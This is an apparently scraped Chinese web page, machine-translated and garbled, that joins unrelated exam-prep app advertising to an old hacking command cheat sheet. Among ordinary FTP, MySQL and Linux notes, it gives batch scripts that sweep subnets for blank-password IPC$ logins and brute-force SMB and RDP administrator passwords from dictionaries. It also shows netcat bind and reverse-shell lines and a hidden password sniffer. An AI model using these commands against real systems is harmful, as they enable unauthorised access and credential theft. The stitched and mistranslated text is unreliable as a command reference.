windows命令cmd,cmd命令大全 CMD常用命令大全
cmd命令大全：电脑高手必需知道的win10 cmd命令汇总
中等教育基础介绍
领域教育电脑版是一个与医学相关的知识教育平台。平台有大量的知识教育资源给大家，帮助用户在平台上学习和稳固自己的知识。界面上的教育可以分类。通过平台上的知识类型，可以选择需要学习的科目，帮助用户复习考试。郁忠教育是一家集医师资格考试、药师资格考试、中医技术培训、考研、健康管理师、学历教育教学研究为一体的专业化、大型考前辅导机构。
教育软件在中间领域的作用
1.错题集训练
容纳专业知识的盲点，保持训练。
2.压考题
考试题、资料分析、必考题必在其中，一次性过关率在90%以上！
3、章节目录培训控制模块
全考点覆盖练习题，覆盖试题，通过数十名教研员进行分析解答；
4.历年试题控制模块。
历年考试题型包括统考试卷、统考模拟题、近几年的实操考试模拟；往年考题都在里面。随时随地升级！
中国教育软件的特点
【研究生课程互联网大数据】
百度收集了中国历年全能考题，考试真题，考试真题解析，国内知名考研老师精英团队的产品研发内容，方便大家记忆考研知识重点。考研题尽量给你一个深度的科研和对每个考点的把握。
【考研视频反馈活动】
百度征集并播放考研课程全方位视频，由中国著名考研老师庞晓云、于、考研老师、碧海考研老师、考研老师、考研老师推出。全方位考研视频精彩展示，考研领域最好的网络课程，医学考研名师刘、等重磅消息来袭。
【高成功率研究生课程内容】
医学研究生最头疼的就是西医综合研究生课程，中医综合研究生课程，口腔内科学专业课程，医学研究生课程，在中域医学考研中是全方位的。中域文化教育从一开始就擅长医学考研，中域考研老师对医学考研水平有个人见解。
【考研英语词汇笔记】
考研英语词汇大全，考研英语题库技巧笔记，结合5500个考研英语词汇。
中国教育软件亮点
1.支持手机、电脑、iPad上课，在家就可以和老师互动；
2.大数据个性化教学。课件基于学生能力定制，课程匹配海量测试数据；
3.课程结束后支持无限播放。如果错过了课程或者没听懂，就回放一下，及时复习。选择中域的直播类！你选择了成功！
更新中国教育日志
1.细节更出众！
2.虫子消失得无影无踪
Cmd全集：电脑高手必须知道的win10 cmd命令汇总。
系统显示远程主机系统类型。
用户名[密码][帐户]使用另一个用户名登录远程主机。
打开主机[端口]重新建立新的连接。
提示交互提示模式
Macdef定义宏命令
lcd改变当前本地主机的工作目录，如果是默认的，将转到当前用户的主目录。
Chmod更改远程主机的文件权限
当case打开时
显示数据库；显示数据库列表。一开始只有两个数据库：mysql和test。Mysql库很重要。它包含了MYSQL的系统信息。当我们修改密码，添加新用户的时候，其实就是用这个库来操作的。
使用mysql
显示表格；显示库中的数据表
描述表名；显示数据表的结构
创建库名；简酷
使用库名；
创建表名(字段设置列表)；剑表
数据库库名称；
删除表名；删除数据库和删除表
删除表名；清除表中的记录。
Select * from表名；显示表格中的记录
mysqldump-opt school . BBB备份数据库：(命令在DOS的mysqlin目录下执行)；注意：将数据库school备份到school.bbb文件，这是一个带有任意文件名的文本文件。打开它，你会发现新的东西。
win2003系统下的新命令(实用部分):
shut down/参数关闭或重新启动本地或远程主机。
参数描述：/S关闭主机，/R重新启动主机，/T数字设置延迟时间，范围0到180秒，/A取消启动，/m//IP指定的远程主机。
示例：shutdown /r /t 0立即重新启动本地主机(没有延迟)
Taskill/parameter进程名称或进程的pid终止一个或多个任务和进程。
参数说明：/pid要终止一个进程的pid，可以使用tasklist命令获取每个进程的pid，/IM要终止的进程的进程名，/F强制终止进程，/T终止指定的进程及其子进程。
Tasklist显示当前在本地和远程主机上运行的进程、服务和服务进程的进程标识符(PID)。
参数说明：/M列出当前进程加载的dll文件，/SVC显示每个进程对应的服务，如果没有参数只列出当前进程。
linux系统下的基本命令注意：区分大小写
Uname显示版本信息(与win2K的ver相同)
Dir显示当前目录文件，ls -al显示包括隐藏文件(与win2K的dir相同)
Pwd查询当前目录位置。
镉.回到上一个目录，注意CD和之间有一个空格.CD/返回到根目录。
卡特彼勒文件名查看文件内容
Cat abc.txt将内容写入abc.txt文件。
更多文件名逐页显示文本文件。
复制cp文件
Mv移动文件
Rm文件名删除文件，RM-目录名删除目录和子目录。
Mkdir目录名创建目录
Rmdir删除子目录，目录中没有文档。
Chmod设置文件或目录的访问权限。
Grep在档案中查找字符串。
差异文件的比较
查找文件搜索
当前日期和时间。
谁查询当前和你用同一台机器的人以及登录时间和地点。
w查询当前计算机用户的详细信息。
Whoami检查他的帐户名称。
群组查看某人的群组。
Passwd更改密码
历史，检查你的命令。
Ps显示流程状态
Kill停止一个进程。
Gcc黑客通常用它来编译C语言编写的文件。
Su权限转换为指定的用户。
Telnet IP telnet连接到另一台主机(同win2K)，当bash$出现时，连接成功。
Ftp ftp连接到服务器(与win2K相同)
批处理命令和变量
1:用于变量的命令和基本格式
FOR/parameter % variable in(set)do command[command _ parameters]% variable:指定单字母可替换参数，如：%i，而：%%i用于指定变量，而：% i %用于调用变量，变量区分大小写(%i不等于%i)。
每个批处理中可以处理10个变量，从%0到% 9，其中% 0默认用于批处理文件名，而%1是使用该批处理时输入的第一个值。类似地，% 2-%9是指输入的第2-9个值；示例：net use ipipc $ pass/user:用户中的ip为%1，pass为% 2，用户为%3。
(set):指定一个文件或一组文件，可以使用通配符，如：(D:user.txt)和(1 1 254) (1-1 254)，{"(1 1 254)"第一个 1 指初始值，第二个 1 指增量，第三个 254 。(1 -1 254)的描述：即从254到1
命令：指定要对文件执行的命令，如net use命令；如果要执行多个命令，可以通过添加以下命令来分隔这个房间：
Command_parameters:为特定命令指定参数或命令行开关。
IN (set):指(set)中的值；DO命令：指执行命令
参数：/L是指增量形式{当(set)是增量形式}时；/F是指从文件中连续取值，直到取完为止{当(set)是一个文件，比如(d:pass.txt)}。
用法示例：
@关闭回声
Echo使用格式：test.bat *。*.*测试. txt
对于(1 1 254)中的/l%% g，请回显% 1。%% g test.txt净使用% 1。%% g/user: administrator find 命令已成功完成 test.txt
另存为test.bat描述：依次尝试为指定的C类网段的254 IP建立管理员密码为空的IPC$连接，如果成功，将IP保存在test.txt中
/L表示增量形式(即从1-254或254-1)；输入IP的前三位数字：*。*.*是批处理的默认% 1；%%G是变量(ip的最后一位)；用于分隔echo和net use命令；表示ipc$建立后，在结果中使用find查看是否有‘命令成功完成’信息；% 1;%% g是一个完整的IP地址；(1 1 254)是指起始值、递增量和结束值。
@关闭回声
Echo使用格式：ok.bat ip
为/F %%i IN (D:user.dic)做smb.exe % 1% % I D:pass . DIC 200
另存为：ok.exe描述：输入一个IP后，使用字典文件d:pass.dic求解d:user.dic中的用户密码，直到完全取文件中的值。%%i是用户名；%1是输入的IP地址(默认)。
七：
2.2:if命令和变量的基本格式
IF [not] errorlevel数字命令语句如果程序运行并最终返回等于或大于指定数字的退出代码，则指定条件为“真”。
示例：IF errorlevel 0命令是指程序执行后返回值为0时，值行后的命令；如果非错误级别1命令意味着如果程序执行返回的值不等于1，将执行下面的命令。
0表示发现并成功执行(真)；1表示没有发现或执行(假)。
IF [not] string 1==string 2命令语句如果指定的文本字符串匹配(即string 1等于string 2)，将执行下面的命令。
示例：“if %2%==4 goto start”的意思是：如果输入的第二个变量是4，将执行下面的命令(注意：调用变量时将添加% variable name%和 )。
IF [not] exist文件名命令语句如果指定的文件名存在，下面的命令将被执行。
例如：“如果不是nc.exe goto end”的意思是：如果没有找到nc.exe文件，跳转到“:结束”标签。
IF [not] errorlevel数字命令语句else命令语句or if [not] string 1==string 2命令语句else命令语句or IF [not] exist文件名命令语句else命令语句plus: else命令语句after refers:当前面的条件不成立时，引用else行之后的命令。注意：else必须在同一行上才有效。当有del命令时，需要将del命令的所有内容括起来，因为del命令只能在单行上执行，使用后相当于单行；例如：“ifexisttest . txt . else echo test . txt . missing”，注意“.”在命令中。
系统外部命令
注意：系统外部命令(需要下载所有相关工具)
瑞士军刀：nc.exe
参数描述：
-h查看帮助信息
-三维背景模式
-e prog程序重定向，一连接就执行[危险]
-秒延迟间隔
-l侦听模式，用于入站连接。
-L监控模式，连接关闭后继续监控，直到CTR C。
-n IP地址，无域名。
-o胶片记录十六进制传输。
-p[ space] port本地端口号
-r随机本地和远程端口
-t使用Telnet进行交互。
-u UDP模式
-v详细输出，用-vv会更详细。
-w数字超时延迟间隔
-z关闭输入和输出(用于锚点扫描)
基本用法：
Nc -nvv 192.168.0.1 80连接到192.168.0.1主机的端口80。
Nc -l -p 80打开这台机器的TCP 80端口并监听
锚的Nc -nvv -w2 -z 192.168.0.1 80-1024端口80-1024
NC-L-p 5354-T-E C:winntsystem32cmd.exe将远程主机的cmdshell绑定到远程主机的TCP 5354端口。
NC-T-E C:winntsystem32cmd.exe 192.168.0.2 5354确定远程主机的cmdshell，反向连接192 . 168 . 0 . 2的5354端口。
高级用法：
Nc -L -p 80作为一个蜜罐，1点开机，一直监听80口，直到CTR C。
Nc -L -p 80 c:log.txt作为蜜罐，从2: 0开始一直监听80口，直到CTR C，将结果输出到c:log.txt。
Nc -L -p 80 c:honeyport.txt作为蜜罐使用。还可以起到3-1传输文件的作用：打开并不断监听80端口直到CTR C，将c:honeyport.txt的内容发送到管道中。
Type.exe: Honeyport NC-L-P 80作为蜜罐使用。用3-2:打开80端口到CTR C，将c:honeyport.txt的内容发送到管道中，也可以起到传输文件的作用。
本机使用：nc -l -p本地端口
使用：NC-e cmd.exe本地IP -p本地端口*另一台主机上的win2K。
Nc -e /bin/sh本地IP -p本地端口*linux，unix反向连接突破对方主机的防火墙。
本地使用：nc -d -l -p本地端口要传输的文件的路径和名称
在另一台主机上，使用nc -vv本地IP本地端口的路径和名称来存储文件，并将文件发送到另一台主机。
注意：
管道命令
或重定向命令。例如，tlntadmn test.txt是指将test.txt的内容分配给tlntadmn的命令。
@表示执行@后的命令，但不会显示(后台执行)；示例：@dir c:winnt d:log.txt的意思是：后台执行dir，并将结果存储在d:log.txt中。
与“”的区别是指：覆盖；表示：保存到(添加到)。
例如，@dir c:winnt d:log.txt和@dir c:winnt d:log.txt分别执行两次。看：第二个结果保存，而第二个结果只有一次，因为第二个结果覆盖了第一个。
八：
扫描工具：xscan.exe
基本格式
Xscan -host start IP[- end IP]检测项[其他选项]扫描锚的‘start IP to end IP’段中的所有主机信息。
Xscan -file主机列表文件名检测项目[其他选项]扫描“主机IP列表文件名”中的所有主机信息
试验项目
-active检测主机是否处于活动状态。
-操作系统检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port检测常用服务的端口状态。
-ftp检测ftp弱密码
-pub检测FTP服务匿名用户的写权限。
-pop3检测pop 3-服务器弱密码
-smtp检测smtp服务器漏洞
-sql检测SQL-Server弱密码
-smb检测到NT服务器弱密码
-iis检测到iis编码/解码漏洞
-cgi检测cgi漏洞。
-nasl加载Nessus攻击脚本。
-all检测以上所有项目。
其他选项
-i适配器号设置网络适配器，适配器号可以通过-l 参数获得。
-l显示所有网络适配器
-v显示详细的扫描进度。
-p跳过没有响应的主机。
-o跳过未检测到开放端口的主机。
-t number of concurrent threads，number of concurrent hosts指定最大并发线程数和并发主机数。默认数字是100，10。
-日志文件名指定扫描报告文件名(后缀：TXT或HTML文件)
用法示例
xscan-host 192.168.1.1-192.168.255.255-all-active-p检测192 . 168 . 1 . 1-192 . 168 . 255 . 255网段中主机的所有漏洞，跳过无响应的主机。
xscan-host 192 . 168 . 1 . 1-192 . 168 . 255 . 255-port-sm b-T150-O检测网段中主机的标准端口状态192.168.168.255.255，nt弱密码用户，最大。
xscan-file hostlist.txt-port-CGI-t200，5-v-o检测“host list . txt”文件中列出的所有主机的标准端口状态和CGI漏洞。并发线程的最大数量是200。最多同时检测五台主机，显示详细的检测进度。跳过未检测到开放端口的主机。
九：
命令行嗅探器：xsniff.exe
它可以捕获局域网中的FTP/SMTP/POP3/HTTP协议密码。
参数描述
-tcp输出tcp数据报
-udp输出udp数据报
-ICMP输出ICMP数据报
-传递过滤器密码信息。
-在后台隐藏运行。
-host解析主机名。
-addr IP地址过滤器IP地址
-端口端口过滤器端口
-log filename将输出保存到文件中。
-asc以ASCII格式输出。
-hex以十六进制形式输出。
用法示例
xsniff . exe-pass-hide-log pass.log在后台运行嗅探密码，并将密码信息保存在pass . log文件中。
xsniff . exe-tcp-udp-ASC-Addr 192.168.1.1嗅探192 . 168 . 1 . 1，过滤TCP和UDP信息并以ASCII格式输出。
终端密码破解：tscrack.exe
参数描述
-h显示使用帮助。
-v显示版本信息
-s型屏幕上的解密功能。
-b密码错误时发出的声音
-t同时发出多个连接(多线程)
-N阻止目标服务器上的系统日志条目
-U uninstall删除tscrack组件。
-f在-f后面使用密码。
-F间隔时间(频率)
-l在-l后面使用用户名。
-w在-w后使用密码字典。
-p在-p后面使用密码。
-D登录到主页
用法示例
tsck 192 . 168 . 0 . 1-l administrator-wpass . DIC远程使用的密码字典文件破解主机的管理员登录密码。
TSCRACK 192.168.0.1-L管理员-P123456使用密码123456远程登录192.168.0.1的管理员用户。
@如果不存在ipcscan.txt转到noscan
@ for/f tokens=1 delims= % % I in(3389 . txt)请务必调用hack.bat %%i
nscan
@echo 3389.txt没有找到或扫描失败
(保存为3389.bat)(假设用SuperScan或其他锚扫描器扫描一批3389的主机IP列表文件3389.txt)
389.BAT的意思是：从3389.bat文件中取一个IP，然后运行hack.bat
@如果不存在，tscrack.exe去noscan
@ ts crack % 1-l administrator-w pass . DIC rouji . txt
:无扫描
@回声tscrack.exe没有找到或扫描失败
(另存为hack.bat)(运行3389.bat是可以的，3389.bat、hack.bat、3389.txt、pass.dic、tscrack.exe在同一个目录；可以等结果)
Hack.bat的意思是：运行tscrack.exe用字典对3389.txt中所有主机的管理员密码进行破解，并将破解结果保存在rouji.txt文件中。
其他的
Shutdown.exe
关机IP地址T:20 20秒后对方的NT会自动关机(Windows 2003系统自带工具，要下载这个工具才能在Windows2000下使用。它在之前的Windows 2003 DOS命令中有详细描述。)
Fpipe.exe(TCP端口重定向工具)在第二篇文章(端口重定向绕过防火墙)中有详细解释。
Fpipe -l 80 -s 1029 -r 80当有人扫描并锚定你的80端口时，他扫描的结果将完全是主机信息。
Fpipe -l 23 -s 88 -r 23目标IP通过端口将本机发送的23端口Telnet请求重定向到目标IP，然后通过端口88发送到目标IP的端口23。(建立Telnet时本地计算机使用的88端口连接到目标IP)然后：Telnet 127.0.0.1(本地IP)直接连接到目标IP的23端口。
OpenTelnet.exe(远程开放远程登录工具)
Opentelnet.exe账号密码ntlm认证方式telnet端口(无需上传ntlm.exe破坏微软的认证方式)直接远程打开对方的telnet服务后，就可以用telnet ip连接到对方。
NTLM身份验证方法：0:不使用NTLM身份验证；1:先尝试NTLM认证，如果失败，再使用用户名和密码；2:仅使用NTLM认证。
ResumeTelnet.exe(open telnet附带的另一个工具)
resumetelnet.exe的IP账号密码通过telnet连接到对方后，使用该命令恢复对方的Telnet设置，同时关闭Telnet服务。
FTP命令的详细说明
FTP命令是互联网用户最常用的命令之一。了解并灵活运用FTP的内部命令，可以大大方便用户，事半功倍。想学习下载后台FTP，必须学习FTP说明。
FTP的命令行格式是：
FTP-v-d-I-n-g[主机名]，其中
-v显示远程服务器的所有响应信息。
-n限制ftp自动登录，即不使用；n etrc文件；
-d使用调试模式；
-g取消全局文件名。
FTP中使用的内部命令如下(括号表示选项):
1.[cmd[args]]:在本地机器上执行交互shell，退出回到ftp环境，比如：ls*。活力
2.$ macro-ame[args]:执行宏定义宏名。
3.account[password]:成功登录远程系统后，提供访问系统资源所需的补充密码。
4.追加本地文件[远程文件]:将本地文件追加到远程系统主机。如果未指定远程系统文件名，将使用本地文件名。
5.ascii:使用ascii类型的传输模式。
6 .铃：每执行一个命令，电脑就响一次。
7.bin:使用二进制文件传输方法。
8.bye:退出ftp会话过程。
9.case:使用mget时，将远程主机的文件名的大写字母变成小写字母。
10.输入远程主机目录。
11.cdup:输入远程主机目录的父目录。
12.chmod模式文件名：将远程主机文件文件名的访问模式设置为mode，比如chmod 777a.out。
13.close:中断与远程服务器的ftp会话(对应open)。
14 .cr:当通过asscii传输文件时，回车和换行符被转换成换行符。
15 .删除远程文件：删除远程主机文件。
16.debug[debug-value]:设置调试模式，显示发送到远程主机的每个命令，比如deb up 3。如果设置为0，则意味着取消调试。
17.dir[remote-dir][local-file]:显示远程主机目录，并将结果存储在本地文件中。
18 .断开：与关闭相同。
9.表单格式：设置文件传输模式为格式，默认为文件模式。
20 .获取远程文件[本地文件]:将远程主机的远程文件传输到本地硬盘的本地文件。
21.glob:设置mdelete、mget、mput的文件扩展名。默认情况下，文件名不会被扩展，这与命令行的-g参数相同。
22.hash:每传输1024个字节，显示一个散列符号(#)。
23.help[cmd]:显示ftp内部命令cmd的帮助信息，如help get。
24.idle[seconds]:将远程服务器的睡眠计时器设置为[seconds]秒。
25.image:设置二进制传输模式(与二进制相同)。
26.lcd[dir]:将本地工作目录切换到dir。
27.ls[remote-dir][local-file]:显示远程目录remote-dir，并将其存储在本地文件local-file中。
28.macdef宏名：定义一个宏。当遇到macdef下的空线时，宏定义结束。
29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:类似于dir，但是可以指定多个远程文件，比如mdir *。o *。zipoutfile。
31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中创建目录。
3.MLS远程文件本地文件：与nlist相同，但是可以指定多个文件名。
34.mode[modename]:将文件传输模式设置为modename，默认为流模式。
35.modtime文件名：显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输到远程主机。
37 .较新的文件名：如果远程机器中的文件名的修改时间比本地硬盘上的同名文件的修改时间新，则该文件将被重新传输。
38.nlist [remote-dir] [local-file]:显示远程主机目录的文件列表，并将其存储在本地硬盘的本地文件中。
39.nmap[inpattern outpattern]:设置文件名映射机制，使文件中的某些字符在文件传输时可以相互转换，比如nmap $1。$2.$3[$1, $2].[$2，$3]，那么传输文件a1.a2.a3时文件名就变成a1，a2了。当远程主机是非UNIX机器时，该命令尤其适用。
40.ntrans [inchars [extras]]:设置文件名字符的翻译机制，比如ntrans1R，文件名LLL会变成RRR。
41.open host[port]:建立到指定ftp服务器的连接，可以指定连接端口。
42 .被动：进入被动传输模式。
43 .提示：设置多个文件传输时的交互提示。
44 .代理ftp-cmd:在辅助控制连接中，执行一个ftp命令，允许两个ftp服务器连接起来，在它们之间传输文件。第一个ftp命令必须打开，以便首先在两台服务器之间建立连接。
45.put local-file[remote-file]:将本地文件local-file传输到远程主机。
46.pwd:显示远程主机的当前工作目录。
47.quit:用bye，退出ftp会话。
引用arg1，arg2.将参数逐字发送到远程ftp服务器，如quote syst。
49.recv remote-file[local-file]:同get。
50.REget REMOTE-FILE [local-file]:类似于get，但是如果local-file存在，它将从最后一次传输中断继续。
51.rhelp[cmd-name]:向远程主机请求帮助。
52.rstatus[file-name]:如果未指定文件名，将显示远程主机的状态，否则，将显示文件状态。
53.rename[from][to]:更改远程主机文件名。
54 .重置：清除应答队列。
55 .重启标记：从指定的标记重新开始get或put，比如：重启130。
rmdir dir-name:删除远程主机目录。
57.runique:将文件名设置为只存储一次。如果文件存在，添加后缀. 1， 2等。到原始文件。
58 .发送本地文件[远程文件]:与上传相同。
59.sendPORT:设置端口命令的使用。
60 .站点arg1，arg2.将参数作为SITE命令逐字发送到远程ftp主机。
61.size file-name:显示远程主机的文件大小，例如site idle 7200。
status:显示当前的ftp状态。
63.struct[struct-name]:将文件传输结构设置为struct-name，默认使用流结构。
64.sunique:将远程主机文件名存储设置为仅一个(对应runique)。
system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为所需的tenex机器类型。
67.tick:在传输过程中设置字节计数器。
68.trace:设置包裹追踪。
69.type[type-name]:设置文件传输类型为type-name，默认为ascii，如type binary，设置二进制传输方式。
70.umask[newmask]:将远程服务器的默认umask设置为newmask，比如umask 3。
71.User User-name[password][account]:向远程主机表明您的身份。如果需要密码，一定要输入，比如：用户匿名my@email。
72.verbose:与命令行的-v参数相同，即设置详细报告模式，ftp服务器的所有响应都会显示给用户，默认为on。
73.[cmd]:同帮助。
郑重声明：本文由网友发布，不代表盛行IT的观点，版权归原作者所有，仅为传播更多信息之目的，如有侵权请联系，我们将第一时间修改或删除，多谢。